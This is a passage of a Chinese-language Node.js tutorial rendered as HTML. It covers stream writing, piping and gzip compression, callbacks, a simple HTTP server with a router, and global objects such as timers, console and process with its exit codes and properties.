class="line">writerStream.on('finish', function() {</span><br><span class="line"> console.log("写入完成。");</span><br><span class="line">});</span><br><span class="line"></span><br><span class="line">writerStream.on('error', function(err){</span><br><span class="line"> console.log(err.stack);</span><br><span class="line">});</span><br><span class="line"></span><br><span class="line">console.log("程序执行完毕");</span><br></pre></td></tr></table></figure><p>以上程序会将 data 变量的数据写入到 output.txt 文件中。代码执行结果如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">$ node main.js </span><br><span class="line">程序执行完毕</span><br><span class="line">写入完成。</span><br></pre></td></tr></table></figure><p>查看 output.txt 文件的内容:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ cat output.txt </span><br><span class="line">菜鸟教程官网地址:www.runoob.com</span><br></pre></td></tr></table></figure><h2 id="管道流"><a href="#管道流" class="headerlink" title="管道流"></a>管道流</h2><p>以下实例我们通过读取一个文件内容并将内容写入到另外一个文件中。<br>设置 input.txt 文件内容如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">菜鸟教程官网地址:www.runoob.com</span><br><span class="line">管道流操作实例</span><br></pre></td></tr></table></figure><p>创建 main.js 文件, 代码如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">var fs = require("fs");</span><br><span class="line"></span><br><span class="line">// 创建一个可读流</span><br><span class="line">var readerStream = fs.createReadStream('input.txt');</span><br><span class="line"></span><br><span class="line">// 创建一个可写流</span><br><span class="line">var writerStream = fs.createWriteStream('output.txt');</span><br><span class="line"></span><br><span class="line">// 管道读写操作</span><br><span class="line">// 读取 input.txt 文件内容,并将内容写入到 output.txt 文件中</span><br><span class="line">readerStream.pipe(writerStream);</span><br><span class="line"></span><br><span class="line">console.log("程序执行完毕");</span><br></pre></td></tr></table></figure><p>代码执行结果如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ node main.js </span><br><span class="line">程序执行完毕</span><br></pre></td></tr></table></figure><p>查看 output.txt 文件的内容:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">$ cat output.txt </span><br><span class="line">菜鸟教程官网地址:www.runoob.com</span><br><span class="line">管道流操作实例</span><br></pre></td></tr></table></figure><h2 id="链式流"><a href="#链式流" class="headerlink" title="链式流"></a>链式流</h2><p>链式是通过连接输出流到另外一个流并创建多个流操作链的机制。链式流一般用于管道操作。<br>接下来我们就是用管道和链式来压缩和解压文件。<br>创建 compress.js 文件, 代码如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">var fs = require("fs");</span><br><span class="line">var zlib = require('zlib');</span><br><span class="line"></span><br><span class="line">// 压缩 input.txt 文件为 input.txt.gz</span><br><span class="line">fs.createReadStream('input.txt')</span><br><span class="line"> .pipe(zlib.createGzip())</span><br><span class="line"> .pipe(fs.createWriteStream('input.txt.gz'));</span><br><span class="line"> </span><br><span class="line">console.log("文件压缩完成。");</span><br></pre></td></tr></table></figure><p>代码执行结果如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ node compress.js </span><br><span class="line">文件压缩完成。</span><br></pre></td></tr></table></figure><p>执行完以上操作后,我们可以看到当前目录下生成了 input.txt 的压缩文件 input.txt.gz。<br>接下来,让我们来解压该文件,创建 decompress.js 文件,代码如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">var fs = require("fs");</span><br><span class="line">var zlib = require('zlib');</span><br><span class="line"></span><br><span class="line">// 解压 input.txt.gz 文件为 input.txt</span><br><span class="line">fs.createReadStream('input.txt.gz')</span><br><span class="line"> .pipe(zlib.createGunzip())</span><br><span class="line"> .pipe(fs.createWriteStream('input.txt'));</span><br><span class="line"> </span><br><span class="line">console.log("文件解压完成。");</span><br></pre></td></tr></table></figure><p>代码执行结果如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ node decompress.js </span><br><span class="line">文件解压完成。</span><br></pre></td></tr></table></figure><hr><h1 id="Node-js-函数"><a href="#Node-js-函数" class="headerlink" title="Node.js 函数"></a>Node.js 函数</h1><h2 id="概述-2"><a href="#概述-2" class="headerlink" title="概述"></a>概述</h2><p>在JavaScript中,一个函数可以作为另一个函数的参数。我们可以先定义一个函数,然后传递,也可以在传递参数的地方直接定义函数。<br>Node.js中函数的使用与Javascript类似,举例来说,你可以这样做:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">function say(word) {</span><br><span class="line"> console.log(word);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">function execute(someFunction, value) {</span><br><span class="line"> someFunction(value);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">execute(say, "Hello");</span><br></pre></td></tr></table></figure><p>以上代码中,我们把 say 函数作为execute函数的第一个变量进行了传递。这里传递的不是 say 的返回值,而是 say 本身!<br>这样一来, say 就变成了execute 中的本地变量 someFunction ,execute可以通过调用 someFunction() (带括号的形式)来使用 say 函数。<br>当然,因为 say 有一个变量, execute 在调用 someFunction 时可以传递这样一个变量。</p><h2 id="匿名函数"><a href="#匿名函数" class="headerlink" title="匿名函数"></a>匿名函数</h2><p>我们可以把一个函数作为变量传递,此时我们将函数作为回调函数使用。但是我们不一定要绕这个”先定义,再传递”的圈子,我们可以直接在另一个函数的括号中定义和传递这个函数:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">function execute(someFunction, value) {</span><br><span class="line"> someFunction(value);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">execute(function(word){ console.log(word) }, "Hello");</span><br></pre></td></tr></table></figure><p>我们在 execute 接受第一个参数的地方直接定义了我们准备传递给 execute 的函数。<br>用这种方式,我们甚至不用给这个函数起名字,这也是为什么它被叫做匿名函数 。</p><hr><h1 id="Node-js-路由"><a href="#Node-js-路由" class="headerlink" title="Node.js 路由"></a>Node.js 路由</h1><p>我们要为路由提供请求的 URL 和其他需要的 GET 及 POST 参数,随后路由需要根据这些数据来执行相应的代码。<br>因此,我们需要查看 HTTP 请求,从中提取出请求的 URL 以及 GET/POST 参数。这一功能应当属于路由还是服务器(甚至作为一个模块自身的功能)确实值得探讨,但这里暂定其为我们的HTTP服务器的功能。<br>我们需要的所有数据都会包含在 request 对象中,该对象作为 onRequest() 回调函数的第一个参数传递。但是为了解析这些数据,我们需要额外的 Node.JS 模块,它们分别是 url 和 querystring 模块。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"> url.parse(string).query</span><br><span class="line"> |</span><br><span class="line"> url.parse(string).pathname |</span><br><span class="line"> | |</span><br><span class="line"> | |</span><br><span class="line"> ------ -------------------</span><br><span class="line">http://localhost:8888/start?foo=bar&hello=world</span><br><span class="line"> --- -----</span><br><span class="line"> | |</span><br><span class="line"> | |</span><br><span class="line"> querystring.parse(queryString)["foo"] |</span><br><span class="line"> |</span><br><span class="line"> querystring.parse(queryString)["hello"]</span><br></pre></td></tr></table></figure><p>当然我们也可以用 querystring 模块来解析 POST 请求体中的参数,稍后会有演示。<br>现在我们来在 <strong>server.js</strong> 文件中给 onRequest() 函数加上一些逻辑,用来找出浏览器请求的 URL 路径:</p><figure class="highlight plain"><figcaption><span>server.js</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">var http = require("http");</span><br><span class="line">var url = require("url");</span><br><span class="line"> </span><br><span class="line">function start() {</span><br><span class="line"> function onRequest(request, response) {</span><br><span class="line"> var pathname = url.parse(request.url).pathname;</span><br><span class="line"> console.log("Request for " + pathname + " received.");</span><br><span class="line"> response.writeHead(200, {"Content-Type": "text/plain"});</span><br><span class="line"> response.write("Hello World");</span><br><span class="line"> response.end();</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> http.createServer(onRequest).listen(8888);</span><br><span class="line"> console.log("Server has started.");</span><br><span class="line">}</span><br><span class="line"> </span><br><span class="line">exports.start = start;</span><br></pre></td></tr></table></figure><p>好了,我们的应用现在可以通过请求的 URL 路径来区别不同请求了–这使我们得以使用路由(还未完成)来将请求以 URL 路径为基准映射到处理程序上。<br>在我们所要构建的应用中,这意味着来自 /start 和 /upload 的请求可以使用不同的代码来处理。稍后我们将看到这些内容是如何整合到一起的。<br>现在我们可以来编写路由了,建立一个名为 <strong>router.js</strong> 的文件,添加以下内容:</p><figure class="highlight plain"><figcaption><span>router.js</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">function route(pathname) {</span><br><span class="line"> console.log("About to route a request for " + pathname);</span><br><span class="line">}</span><br><span class="line"> </span><br><span class="line">exports.route = route;</span><br></pre></td></tr></table></figure><p>如你所见,这段代码什么也没干,不过对于现在来说这是应该的。在添加更多的逻辑以前,我们先来看看如何把路由和服务器整合起来。<br>我们的服务器应当知道路由的存在并加以有效利用。我们当然可以通过硬编码的方式将这一依赖项绑定到服务器上,但是其它语言的编程经验告诉我们这会是一件非常痛苦的事,因此我们将使用依赖注入的方式较松散地添加路由模块。<br>首先,我们来扩展一下服务器的 start() 函数,以便将路由函数作为参数传递过去,<strong>server.js</strong> 文件代码如下</p><figure class="highlight plain"><figcaption><span>server.js:</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">var http = require("http");</span><br><span class="line">var url = require("url");</span><br><span class="line"> </span><br><span class="line">function start(route) {</span><br><span class="line"> function onRequest(request, response) {</span><br><span class="line"> var pathname = url.parse(request.url).pathname;</span><br><span class="line"> console.log("Request for " + pathname + " received.");</span><br><span class="line"> </span><br><span class="line"> route(pathname);</span><br><span class="line"> </span><br><span class="line"> response.writeHead(200, {"Content-Type": "text/plain"});</span><br><span class="line"> response.write("Hello World");</span><br><span class="line"> response.end();</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> http.createServer(onRequest).listen(8888);</span><br><span class="line"> console.log("Server has started.");</span><br><span class="line">}</span><br><span class="line"> </span><br><span class="line">exports.start = start;</span><br></pre></td></tr></table></figure><p>同时,我们会相应扩展 <strong>index.js</strong>,使得路由函数可以被注入到服务器中:</p><figure class="highlight plain"><figcaption><span>index.js</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">var server = require("./server");</span><br><span class="line">var router = require("./router");</span><br><span class="line"> </span><br><span class="line">server.start(router.route);</span><br></pre></td></tr></table></figure><p>在这里,我们传递的函数依旧什么也没做。<br>如果现在启动应用(<code>node index.js</code>,始终记得这个命令行),随后请求一个URL,你将会看到应用输出相应的信息,这表明我们的HTTP服务器已经在使用路由模块了,并会将请求的路径传递给路由:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ node index.js</span><br><span class="line">Server has started.</span><br></pre></td></tr></table></figure><p>以上输出已经去掉了比较烦人的 /favicon.ico 请求相关的部分。<br>浏览器访问 <a href="http://127.0.0.1:8888/" target="_blank" rel="noopener">http://127.0.0.1:8888/</a>,输出结果如下:<br><img src="http://www.runoob.com/wp-content/uploads/2014/04/227B22AE-E633-4DCB-8740-AA51D32B8942.jpg" alt=""></p><hr><h1 id="Node-js-全局对象"><a href="#Node-js-全局对象" class="headerlink" title="Node.js 全局对象"></a>Node.js 全局对象</h1><h2 id="概述-3"><a href="#概述-3" class="headerlink" title="概述"></a>概述</h2><p>JavaScript 中有一个特殊的对象,称为全局对象(Global Object),它及其所有属性都可以在程序的任何地方访问,即全局变量。<br>在浏览器 JavaScript 中,通常 window 是全局对象, 而 Node.js 中的全局对象是 global,所有全局变量(除了 global 本身以外)都是 global 对象的属性。<br>在 Node.js 我们可以直接访问到 global 的属性,而不需要在应用中包含它。</p><h2 id="全局对象与全局变量"><a href="#全局对象与全局变量" class="headerlink" title="全局对象与全局变量"></a>全局对象与全局变量</h2><p>global 最根本的作用是作为全局变量的宿主。按照 ECMAScript 的定义,满足以下条 件的变量是全局变量:<br>在最外层定义的变量;<br>全局对象的属性;<br>隐式定义的变量(未定义直接赋值的变量)。<br>当你定义一个全局变量时,这个变量同时也会成为全局对象的属性,反之亦然。需要注 意的是,在 Node.js 中你不可能在最外层定义变量,因为所有用户代码都是属于当前模块的, 而模块本身不是最外层上下文。<br><strong>注意: 永远使用 var 定义变量以避免引入全局变量,因为全局变量会污染 命名空间,提高代码的耦合风险。</strong></p><h2 id="filename"><a href="#filename" class="headerlink" title="__filename"></a>__filename</h2><p>__filename 表示当前正在执行的脚本的文件名。它将输出文件所在位置的绝对路径,且和命令行参数所指定的文件名不一定相同。 如果在模块中,返回的值是模块文件的路径。</p><ul><li>实例<br>创建文件 main.js ,代码如下所示:<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">// 输出全局变量 __filename 的值</span><br><span class="line">console.log( __filename );</span><br></pre></td></tr></table></figure>执行 main.js 文件,代码如下所示:<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ node main.js</span><br><span class="line">/web/com/runoob/nodejs/main.js</span><br></pre></td></tr></table></figure></li></ul><h2 id="dirname"><a href="#dirname" class="headerlink" title="__dirname"></a>__dirname</h2><p>__dirname 表示当前执行脚本所在的目录。</p><ul><li>实例<br>创建文件 main.js ,代码如下所示:<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">// 输出全局变量 __dirname 的值</span><br><span class="line">console.log( __dirname );</span><br></pre></td></tr></table></figure>执行 main.js 文件,代码如下所示:<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ node main.js</span><br><span class="line">/web/com/runoob/nodejs</span><br></pre></td></tr></table></figure></li></ul><h2 id="setTimeout-cb-ms"><a href="#setTimeout-cb-ms" class="headerlink" title="setTimeout(cb, ms)"></a>setTimeout(cb, ms)</h2><p>setTimeout(cb, ms) 全局函数在指定的毫秒(ms)数后执行指定函数(cb)。:setTimeout() 只执行一次指定函数。<br>返回一个代表定时器的句柄值。</p><ul><li>实例<br>创建文件 main.js ,代码如下所示:<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">function printHello(){</span><br><span class="line"> console.log( "Hello, World!");</span><br><span class="line">}</span><br><span class="line">// 两秒后执行以上函数</span><br><span class="line">setTimeout(printHello, 2000);</span><br></pre></td></tr></table></figure>执行 main.js 文件,代码如下所示:<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ node main.js</span><br><span class="line">Hello, World!</span><br></pre></td></tr></table></figure></li></ul><h2 id="clearTimeout-t"><a href="#clearTimeout-t" class="headerlink" title="clearTimeout(t)"></a>clearTimeout(t)</h2><p>clearTimeout( t ) 全局函数用于停止一个之前通过 setTimeout() 创建的定时器。 参数 t 是通过 setTimeout() 函数创建的定时器。</p><ul><li>实例<br>创建文件 main.js ,代码如下所示:<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">function printHello(){</span><br><span class="line"> console.log( "Hello, World!");</span><br><span class="line">}</span><br><span class="line">// 两秒后执行以上函数</span><br><span class="line">var t = setTimeout(printHello, 2000);</span><br><span class="line"></span><br><span class="line">// 清除定时器</span><br><span class="line">clearTimeout(t);</span><br></pre></td></tr></table></figure>执行 main.js 文件,代码如下所示:<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ node main.js</span><br></pre></td></tr></table></figure></li></ul><h2 id="setInterval-cb-ms"><a href="#setInterval-cb-ms" class="headerlink" title="setInterval(cb, ms)"></a>setInterval(cb, ms)</h2><p>setInterval(cb, ms) 全局函数在指定的毫秒(ms)数后执行指定函数(cb)。<br>返回一个代表定时器的句柄值。可以使用 clearInterval(t) 函数来清除定时器。<br>setInterval() 方法会不停地调用函数,直到 clearInterval() 被调用或窗口被关闭。<br>实例<br>创建文件 main.js ,代码如下所示:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">function printHello(){</span><br><span class="line"> console.log( "Hello, World!");</span><br><span class="line">}</span><br><span class="line">// 两秒后执行以上函数</span><br><span class="line">setInterval(printHello, 2000);</span><br></pre></td></tr></table></figure><p>执行 main.js 文件,代码如下所示:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ node main.js </span><br><span class="line">Hello, World! Hello, World! Hello, World! Hello, World! Hello, World! ……</span><br></pre></td></tr></table></figure><p>以上程序每隔两秒就会输出一次”Hello, World!”,且会永久执行下去,直到你按下 ctrl + c 按钮。</p><h2 id="console"><a href="#console" class="headerlink" title="console"></a>console</h2><p>console 用于提供控制台标准输出,它是由 Internet Explorer 的 JScript 引擎提供的调试工具,后来逐渐成为浏览器的实施标准。<br>Node.js 沿用了这个标准,提供与习惯行为一致的 console 对象,用于向标准输出流(stdout)或标准错误流(stderr)输出字符。<br><strong>console 方法</strong><br>以下为 console 对象的方法:</p><h3 id="console-log-data-…"><a href="#console-log-data-…" class="headerlink" title="console.log([data][, …])"></a>console.log([data][, …])</h3><p>向标准输出流打印字符并以换行符结束。该方法接收若干个参数,如果只有一个参数,则输出这个参数的字符串形式。如果有多个参数,则 以类似于C 语言 printf() 命令的格式输出。<br>第一个参数是一个字符串,如果没有 参数,只打印一个换行。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">console.log('Hello world'); </span><br><span class="line">console.log('byvoid%diovyb'); </span><br><span class="line">console.log('byvoid%diovyb', 1991);</span><br></pre></td></tr></table></figure><p>运行结果为:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">Hello world </span><br><span class="line">byvoid%diovyb </span><br><span class="line">byvoid1991iovyb</span><br></pre></td></tr></table></figure><h3 id="console-info-data-…"><a href="#console-info-data-…" class="headerlink" title="console.info([data][, …])"></a>console.info([data][, …])</h3><p>该命令的作用是返回信息性消息,这个命令与console.log差别并不大,除了在chrome中只会输出文字外,其余的会显示一个蓝色的惊叹号。</p><h3 id="console-error-data-…"><a href="#console-error-data-…" class="headerlink" title="console.error([data][, …])"></a>console.error([data][, …])</h3><p>输出错误消息的。控制台在出现错误时会显示是红色的叉子。与console.log() 用法相同,只是向标准错误流输出。</p><h3 id="console-warn-data-…"><a href="#console-warn-data-…" class="headerlink" title="console.warn([data][, …])"></a>console.warn([data][, …])</h3><p>输出警告消息。控制台出现有黄色的惊叹号。</p><h3 id="console-dir-obj-options"><a href="#console-dir-obj-options" class="headerlink" title="console.dir(obj[, options])"></a>console.dir(obj[, options])</h3><p>用来对一个对象进行检查(inspect),并以易于阅读和打印的格式显示。</p><h3 id="console-time-label"><a href="#console-time-label" class="headerlink" title="console.time(label)"></a>console.time(label)</h3><p>输出时间,表示计时开始。</p><h3 id="console-timeEnd-label"><a href="#console-timeEnd-label" class="headerlink" title="console.timeEnd(label)"></a>console.timeEnd(label)</h3><p>结束时间,表示计时结束。</p><h3 id="console-trace-message-…"><a href="#console-trace-message-…" class="headerlink" title="console.trace(message[, …])"></a>console.trace(message[, …])</h3><p>当前执行的代码在堆栈中的调用路径,这个测试函数运行很有帮助,只要给想测试的函数里面加入 console.trace 就行了。向标准错误流输出当前的调用栈。</p><h3 id="console-assert-value-message-…"><a href="#console-assert-value-message-…" class="headerlink" title="console.assert(value[, message][, …])"></a>console.assert(value[, message][, …])</h3><p>用于判断某个表达式或变量是否为真,接收两个参数,第一个参数是表达式,第二个参数是字符串。只有当第一个参数为false,才会输出第二个参数,否则不会有任何结果。</p><h3 id="实例-2"><a href="#实例-2" class="headerlink" title="实例"></a>实例</h3><p>创建文件 main.js ,代码如下所示:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">console.info("程序开始执行:");</span><br><span class="line"></span><br><span class="line">var counter = 10;</span><br><span class="line">console.log("计数: %d", counter);</span><br><span class="line"></span><br><span class="line">console.time("获取数据");</span><br><span class="line">//</span><br><span class="line">// 执行一些代码</span><br><span class="line">// </span><br><span class="line">console.timeEnd('获取数据');</span><br><span class="line"></span><br><span class="line">console.info("程序执行完毕。")</span><br></pre></td></tr></table></figure><p>执行 main.js 文件,代码如下所示:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">$ node main.js</span><br><span class="line">程序开始执行:</span><br><span class="line">计数: 10</span><br><span class="line">获取数据: 0ms</span><br><span class="line">程序执行完毕</span><br></pre></td></tr></table></figure><h2 id="process"><a href="#process" class="headerlink" title="process"></a>process</h2><p>process 是一个全局变量,即 global 对象的属性。<br>它用于描述当前Node.js 进程状态的对象,提供了一个与操作系统的简单接口。通常在你写本地命令行程序的时候,少不了要和它打交道。下面将会介绍 process 对象的一些最常用的成员方法。</p><ul><li><strong>exit</strong><br>当进程准备退出时触发</li><li><strong>beforeExit</strong><br>当 node 清空事件循环,并且没有其他安排时触发这个事件。通常来说,当没有进程安排时 node 退出,但是 ‘beforeExit’ 的监听器可以异步调用,这样 node 就会继续执行。</li><li><strong>uncaughtException</strong><br>当一个异常冒泡回到事件循环,触发这个事件。如果给异常添加了监视器,默认的操作(打印堆栈跟踪信息并退出)就不会发生。</li><li><strong>Signal 事件</strong><br>当进程接收到信号时就触发。信号列表详见标准的 POSIX 信号名,如 SIGINT、SIGUSR1 等。</li></ul><p><strong>实例</strong><br>创建文件 main.js ,代码如下所示:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">process.on('exit', function(code) {</span><br><span class="line"></span><br><span class="line"> // 以下代码永远不会执行</span><br><span class="line"> setTimeout(function() {</span><br><span class="line"> console.log("该代码不会执行");</span><br><span class="line"> }, 0);</span><br><span class="line"> </span><br><span class="line"> console.log('退出码为:', code);</span><br><span class="line">});</span><br><span class="line">console.log("程序执行结束");</span><br></pre></td></tr></table></figure><p>执行 main.js 文件,代码如下所示:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">$ node main.js</span><br><span class="line">程序执行结束</span><br><span class="line">退出码为: 0</span><br></pre></td></tr></table></figure><h3 id="退出状态码"><a href="#退出状态码" class="headerlink" title="退出状态码"></a>退出状态码</h3><p>1.<strong>Uncaught Fatal Exception</strong><br>有未捕获异常,并且没有被域或 uncaughtException 处理函数处理。</p><p>2.<strong>Unused</strong><br>保留</p><p>3.<strong>Internal JavaScript Parse Error</strong><br>JavaScript的源码启动 Node 进程时引起解析错误。非常罕见,仅会在开发 Node 时才会有。</p><p>4.<strong>Internal JavaScript Evaluation Failure</strong><br>JavaScript 的源码启动 Node 进程,评估时返回函数失败。非常罕见,仅会在开发 Node 时才会有。</p><p>5.<strong>Fatal Error</strong><br>V8 里致命的不可恢复的错误。通常会打印到 stderr ,内容为: FATAL ERROR</p><p>6.<strong>Non-function Internal Exception Handler</strong><br>未捕获异常,内部异常处理函数不知为何设置为on-function,并且不能被调用。</p><p>7.<strong>Internal Exception Handler Run-Time Failure</strong><br>未捕获的异常, 并且异常处理函数处理时自己抛出了异常。例如,如果 process.on(‘uncaughtException’) 或 domain.on(‘error’) 抛出了异常。</p><p>8.<strong>Unused</strong><br>保留</p><p>9.<strong>Invalid Argument</strong><br>可能是给了未知的参数,或者给的参数没有值。</p><p>10.<strong>Internal JavaScript Run-Time Failure</strong><br>JavaScript的源码启动 Node 进程时抛出错误,非常罕见,仅会在开发 Node 时才会有。</p><p> 12.<strong>Invalid Debug Argument</strong><br>设置了参数–debug 和/或 –debug-brk,但是选择了错误端口。</p><p> 128.<strong>Signal Exits</strong><br>如果 Node 接收到致命信号,比如SIGKILL 或 SIGHUP,那么退出代码就是128 加信号代码。这是标准的 Unix 做法,退出信号代码放在高位。</p><h3 id="Process-属性"><a href="#Process-属性" class="headerlink" title="Process 属性"></a>Process 属性</h3><p>Process 提供了很多有用的属性,便于我们更好的控制系统的交互:</p><ol><li><strong>stdout</strong><br>标准输出流。</li><li><strong>stderr</strong><br>标准错误流。</li><li><strong>stdin</strong><br>标准输入流。</li><li><strong>argv</strong><br>argv 属性返回一个数组,由命令行执行脚本时的各个参数组成。它的第一个成员总是node,第二个成员是脚本文件名,其余成员是脚本文件的参数。</li><li><strong>execPath</strong><br>返回执行当前脚本的 Node 二进制文件的绝对路径。</li><li><strong>execArgv</strong><br>返回一个数组,成员是命令行下执行脚本时,在Node可执行文件与脚本文件之间的命令行参数。</li><li><strong>env</strong><br>返回一个对象,成员为当前 shell 的环境变量</li><li><strong>exitCode</strong><br>进程退出时的代码,如果进程优通过 process.exit() 退出,不需要指定退出码。</li><li><strong>version</strong><br>Node 的版本,比如v0.10.18。</li><li><strong>versions</strong><br>一个属性,包含了 node 的版本和依赖.</li><li><strong>config</strong><br>一个包含用来编译当前 node 执行文件的 javascript 配置选项的对象。它与运行 ./configure 脚本生成的 “config.gypi” 文件相同。</li><li><strong>pid</strong><br>当前进程的进程号。</li><li><strong>title</strong><br>进程名,默认值为”node”,可以自定义该值。</li><li><strong>arch</strong><br>当前 CPU 的架构:’arm’、’ia32’ 或者 ‘x64’。</li><li><strong>platform</strong><br>运行程序所在的平台系统 ‘darwin’, ‘freebsd’, ‘linux’, ‘sunos’ 或 ‘win32’</li><li><strong>mainModule</strong><br>require.main 